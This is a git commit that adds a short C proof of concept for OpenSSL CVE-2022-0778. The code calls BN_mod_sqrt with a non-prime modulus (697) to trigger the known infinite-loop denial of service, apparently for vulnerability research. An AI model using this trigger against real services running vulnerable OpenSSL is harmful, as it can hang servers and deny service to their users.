add cve/openssl/2022/CVE-2022-0778/bad_BN.c.

Signed-off-by: 伊显纯 <yixianchun@buaa.edu.cn>
This commit is contained in:
伊显纯 2023-03-12 09:57:20 +00:00 committed by Re3et
parent 2a9a750647
commit fa84ee2460
1 changed files with 22 additions and 0 deletions

View File

@ -0,0 +1,22 @@
#include <openssl/bn.h>
int main() {
BN_CTX *ctx;
ctx = BN_CTX_new();
BIGNUM *res, *a, *p;
res = BN_CTX_get(ctx);
a = BN_CTX_get(ctx);
p = BN_CTX_get(ctx);
BN_dec2bn(&p, "697");
BN_dec2bn(&a, "696");
printf("p = %s\n", BN_bn2dec(p));
printf("a = %s\n", BN_bn2dec(a));
BIGNUM* check = BN_mod_sqrt(res, a, p, ctx);
printf("%s\n", BN_bn2dec(res));
return 0;
}